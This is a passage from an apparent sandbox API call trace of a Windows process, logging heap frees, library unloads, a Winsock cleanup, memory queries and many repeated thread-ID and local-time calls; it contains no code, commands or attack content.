HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26d98 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2a610 | out: hHeap=0x2a0000) returned 1 [0145.594] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2aad8 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b6e8 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2b8c8 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e010 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e088 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2f0e8 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2f2f8 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2f970 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2fb20 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d216f0 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d223c8 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d22f10 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24620 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27020 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28170 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28a58 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2afb0 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2dc40 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2dd40 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e1f0 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e688 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2f478 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24890 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d261d0 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26428 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27cc0 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27ee8 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2aa78 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2d760 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2d820 | out: hHeap=0x2a0000) returned 1 [0145.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2e0a0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2f328 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2f9a0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2f9d0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d31cb8 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d31dc0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23048 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d23eb0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26670 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d26f48 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d277a0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d284a0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d29d70 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2ba18 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2baf0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2c040 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2c820 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d22770 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d240c0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d27230 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2a5e0 | out: hHeap=0x2a0000) returned 1 [0145.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d2f130 | out: hHeap=0x2a0000) returned 1 [0145.597] FreeLibrary (hLibModule=0x12000000) returned 1 [0145.599] HeapFree (in: hHeap=0x2e50000, dwFlags=0x0, lpMem=0x2e521c0 | out: hHeap=0x2e50000) returned 1 [0145.599] HeapFree (in: hHeap=0x2e50000, dwFlags=0x0, lpMem=0x2e50f98 | out: hHeap=0x2e50000) returned 1 [0145.600] HeapFree (in: hHeap=0x2e50000, dwFlags=0x0, lpMem=0x2e507d0 | out: hHeap=0x2e50000) returned 1 [0145.600] HeapDestroy (hHeap=0x2e50000) returned 1 [0145.604] FreeLibrary (hLibModule=0x11000000) returned 1 [0145.606] HeapDestroy (hHeap=0x2a0000) returned 1 [0145.620] GetCurrentThreadId () returned 0x9fc [0145.620] GetCurrentThreadId () returned 0x9fc [0145.621] GetCurrentThreadId () returned 0x9fc [0145.621] GetCurrentThreadId () returned 0x9fc [0145.621] GetCurrentThreadId () returned 0x9fc [0145.621] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.622] GetCurrentThreadId () returned 0x9fc [0145.623] FreeLibrary (hLibModule=0x74e90000) returned 1 [0145.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSACleanup", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0145.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSACleanup", cchWideChar=10, lpMultiByteStr=0x7f2d4c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSACleanup", lpUsedDefaultChar=0x0) returned 10 [0145.623] GetProcAddress (hModule=0x77230000, lpProcName="WSACleanup") returned 0x77233c5f [0145.623] WSACleanup () returned 0 [0146.474] FreeLibrary (hLibModule=0x77230000) returned 1 [0146.474] FreeLibrary (hLibModule=0x74f40000) returned 1 [0146.474] FreeLibrary (hLibModule=0x74f60000) returned 1 [0146.475] FreeLibrary (hLibModule=0x77700000) returned 1 [0146.475] GetCurrentThreadId () returned 0x9fc [0146.475] GetCurrentThreadId () returned 0x9fc [0146.475] GetCurrentThreadId () returned 0x9fc [0146.476] GetCurrentThreadId () returned 0x9fc [0146.476] GetCurrentThreadId () returned 0x9fc [0146.476] GetCurrentProcess () returned 0xffffffff [0146.476] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x400000, lpBuffer=0x18fc90, dwLength=0x1c | out: lpBuffer=0x18fc90*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0146.476] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x401000, lpBuffer=0x18fc90, dwLength=0x1c | out: lpBuffer=0x18fc90*(BaseAddress=0x401000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x299000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0146.477] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x69a000, lpBuffer=0x18fc90, dwLength=0x1c | out: lpBuffer=0x18fc90*(BaseAddress=0x69a000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x2000, State=0x1000, Protect=0x8, Type=0x1000000)) returned 0x1c [0146.477] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x69c000, lpBuffer=0x18fc90, dwLength=0x1c | out: lpBuffer=0x18fc90*(BaseAddress=0x69c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0146.477] GetCurrentThreadId () returned 0x9fc [0146.477] GetCurrentThreadId () returned 0x9fc [0146.477] ResetEvent (hEvent=0xcc) returned 1 [0146.477] GetCurrentThreadId () returned 0x9fc [0146.477] GetCurrentThreadId () returned 0x9fc [0146.477] GetCurrentThreadId () returned 0x9fc [0146.477] ResetEvent (hEvent=0xcc) returned 1 [0146.477] GetCurrentThreadId () returned 0x9fc [0146.477] GetCurrentThreadId () returned 0x9fc [0146.477] GetCurrentThreadId () returned 0x9fc [0146.477] GetCurrentThreadId () returned 0x9fc [0146.477] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] CloseHandle (hObject=0xcc) returned 1 [0146.478] CloseHandle (hObject=0xd0) returned 1 [0146.478] CloseHandle (hObject=0xc8) returned 1 [0146.478] GetCurrentThreadId () returned 0x9fc [0146.478] GetCurrentThreadId () returned 0x9fc [0146.479] GetCurrentThreadId () returned 0x9fc [0146.479] GetCurrentThreadId () returned 0x9fc [0146.479] GetCurrentThreadId () returned 0x9fc [0146.479] GetCurrentThreadId () returned 0x9fc [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.479] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.480] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.481] GetLocalTime (in: lpSystemTime=0x18fcd8 | out: lpSystemTime=0x18fcd8*(wYear=0x7e4, wMonth=0x3, 